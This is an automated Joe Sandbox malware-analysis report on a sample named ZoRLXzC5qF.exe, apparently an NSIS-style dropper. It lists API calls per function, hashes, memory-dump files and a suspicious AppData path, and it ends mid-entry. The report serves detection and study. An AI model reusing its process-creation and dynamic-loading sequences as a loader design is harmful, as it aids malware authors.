Instruction ID: cd4f68ad1bc4df61111a8e6125a37bec327b368bc2224c93a9ffc6bdd58994c4
Opcode Fuzzy Hash: fc4ae7de1a988c572ae2e9f733057e11b5d74982a37415ce069d5c91d6d923cf
Instruction Fuzzy Hash: 74D05B72B08101D7DB00DBE89B49A9E77A4DB50378B31853BD111F11D4D7B8C545A71D

Function 00404542 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction ID: 6ad8b1d984edffd0e08e34c6f36dd165e1dcb54a73607e2b540eae92d4c67d50
Opcode Fuzzy Hash: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction Fuzzy Hash: ACC04C717402007BDA209F549D49F1777546790702F1495397351E51E0C674E550D61C

Function 0040350A Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403267,?), ref: 00403518

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 0040452B Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,00404356), ref: 00404539

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction ID: 777369a795cbaa9bd4fd16da76cbada5404ff361b75e364c58eeef3f96c31ac9
Opcode Fuzzy Hash: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction Fuzzy Hash: 6BB09235181600AADA115B40DE09F867BA2E7A4701F029438B340640B0CBB210A0DB08

Function 00405B9D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405BAC

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction ID: 080962bbef7e268e86b0d243ececfcd1ad47764945baea7f73af6130fa7b9bd6
Opcode Fuzzy Hash: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction Fuzzy Hash: A9C092F2100201EFE301CF80CB09F067BE8AF54306F028058E1899A060CB788800CB29

Function 00404518 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004042EF), ref: 00404522

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction ID: 186c68f4495094c0cebc3eb7279f68ffc90812dad8dfd9e689695b78415bb769
Opcode Fuzzy Hash: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction Fuzzy Hash: 43A00176544A04ABCE12EB50EF4990ABB62BBA4B01B618879A285514388B325921EB19

Function 00401FC9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,00000000,00425A20,755723A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00402010

Part of subcall function 00406A16: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A27
Part of subcall function 00406A16: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A49

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: a427765dcc854a3b2948ff8f1996ec0f646c6c24c00c8af56b9e51dc183c014b
Instruction ID: 3bd5da99d2ff211530604a8704e688701187be5a7f5114c752edafe9c60b233e
Opcode Fuzzy Hash: a427765dcc854a3b2948ff8f1996ec0f646c6c24c00c8af56b9e51dc183c014b
Instruction Fuzzy Hash: 82F0F6329041119BDB20BBA18A895DE76A4CF00318F21803FE202B21C6CBBC4D41AB6E

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1ea5a5e12aa05b844e6b4a57a4a16afa5e1267f6842beefd722180d43813e619
Instruction ID: 33bc48e2b41eb1a57acea8eab1ee3944d72ccc7503d83e75cfd502536df4b4aa
Opcode Fuzzy Hash: 1ea5a5e12aa05b844e6b4a57a4a16afa5e1267f6842beefd722180d43813e619
Instruction Fuzzy Hash: F9D0A773A146008BD744EBB8BE8549F73E8EB903293215C3BD102E10D1E778C901561C

Function 6E9B12BB Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6E9B12DB,?,6E9B137F,00000019,6E9B11CA,-000000A0), ref: 6E9B12C5

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 7a469a521e3ec0bc13860daa754f526a8a28cd4a14c15002154ac21ba0a53aaa
Instruction ID: 74c188f3260e53731042cb13821113f9b6aab576950b9c0f552939cc881b3ffe
Opcode Fuzzy Hash: 7a469a521e3ec0bc13860daa754f526a8a28cd4a14c15002154ac21ba0a53aaa
Instruction Fuzzy Hash: B1B011F0E08800AFEF008B28EC0AF3A32A8FF02B00F080000BA08C2280E2208C008A28

Non-executed Functions

Function 004049E7 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A36
SetWindowTextW.USER32(00000000,?), ref: 00404A60
SHBrowseForFolderW.SHELL32(?), ref: 00404B11
CoTaskMemFree.OLE32(00000000), ref: 00404B1C
lstrcmpiW.KERNEL32(Call,0042CA68,00000000,?,?), ref: 00404B4E
lstrcatW.KERNEL32(?,Call), ref: 00404B5A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B6C

Part of subcall function 00405BBB: GetDlgItemTextW.USER32(?,?,00000400,00404BA3), ref: 00405BCE

Part of subcall function 00406825: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
Part of subcall function 00406825: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
Part of subcall function 00406825: CharNextW.USER32(?,"C:\Users\user\Desktop\ZoRLXzC5qF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
Part of subcall function 00406825: CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,?,0042AA38,?,?,000003FB,?), ref: 00404C2F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C4A

Part of subcall function 00404DA3: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
Part of subcall function 00404DA3: wsprintfW.USER32 ref: 00404E4D
Part of subcall function 00404DA3: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

A, xrefs: 00404B0A
Call, xrefs: 00404B48, 00404B4D, 00404B58
<\, xrefs: 004049ED
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00404B37

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: <\$A$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call
API String ID: 2624150263-1368694331
Opcode ID: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction ID: 819d6111372f9eb468737b2dc9595d459319e5efb98401d1644bfd8e85b56d65
Opcode Fuzzy Hash: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction Fuzzy Hash: 14A180B1901208ABDB11EFA5DD45BAFB7B8EF84314F11803BF601B62D1D77C9A418B69

Function 6E9B1BFF Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E9B12BB: GlobalAlloc.KERNELBASE(00000040,?,6E9B12DB,?,6E9B137F,00000019,6E9B11CA,-000000A0), ref: 6E9B12C5

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 6E9B1D2D
lstrcpyW.KERNEL32(00000008,?), ref: 6E9B1D75
lstrcpyW.KERNEL32(00000808,?), ref: 6E9B1D7F
GlobalFree.KERNEL32(00000000), ref: 6E9B1D92
GlobalFree.KERNEL32(?), ref: 6E9B1E74
GlobalFree.KERNEL32(?), ref: 6E9B1E79
GlobalFree.KERNEL32(?), ref: 6E9B1E7E
GlobalFree.KERNEL32(00000000), ref: 6E9B2068
lstrcpyW.KERNEL32(?,?), ref: 6E9B2222
GetModuleHandleW.KERNEL32(00000008), ref: 6E9B22A1
LoadLibraryW.KERNEL32(00000008), ref: 6E9B22B2
GetProcAddress.KERNEL32(?,?), ref: 6E9B230C
lstrlenW.KERNEL32(00000808), ref: 6E9B2326

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 82ad3b4ff85603125c9254041b9df2b0698e3149c1d4e6f266d15737d5f2e791
Instruction ID: d51d11ea058ef2c9ff0fda9a43f725de81bf0bd26e4ff34330e3dd9da275cc20
Opcode Fuzzy Hash: 82ad3b4ff85603125c9254041b9df2b0698e3149c1d4e6f266d15737d5f2e791
Instruction Fuzzy Hash: DB227971D1460ADEDB508FEA84906EFB7B8FF4A315F10492AD5A5E3280E770DA89CF50

Function 004021CF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,?,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040224E

Strings

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 0040228E

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres
API String ID: 542301482-31448141
Opcode ID: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
Instruction ID: 879178e2914a864b6efeea5842d2d3985b85c893096dfa9a9f6c7732eb85e553
Opcode Fuzzy Hash: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
Instruction Fuzzy Hash: D1412571A00209AFCB00DFE4CA89A9D7BB5FF48318B20457EF505EB2D1DB799981CB54

Function 00402930 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040293F

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction ID: 26e9208e2aa2ebd90a7e98889f3239c7d6ed4a815a584e9a2b1206afb1357c73
Opcode Fuzzy Hash: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction Fuzzy Hash: D1F08C71A04105AAD700EBE4EE499AEB378EF14324F20017BE112F31E5D7B89E509B2E

Function 00406DE6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: 02047a1f5ab1e1ae91636e32b2ea393de8a2dfbdc7c3bc720fead707395ef2b6
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: 74E19A71A0470ADFCB24CF58C890BAABBF5FF44305F15852EE496A72D1E738AA51CB05

Function 004075BD Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
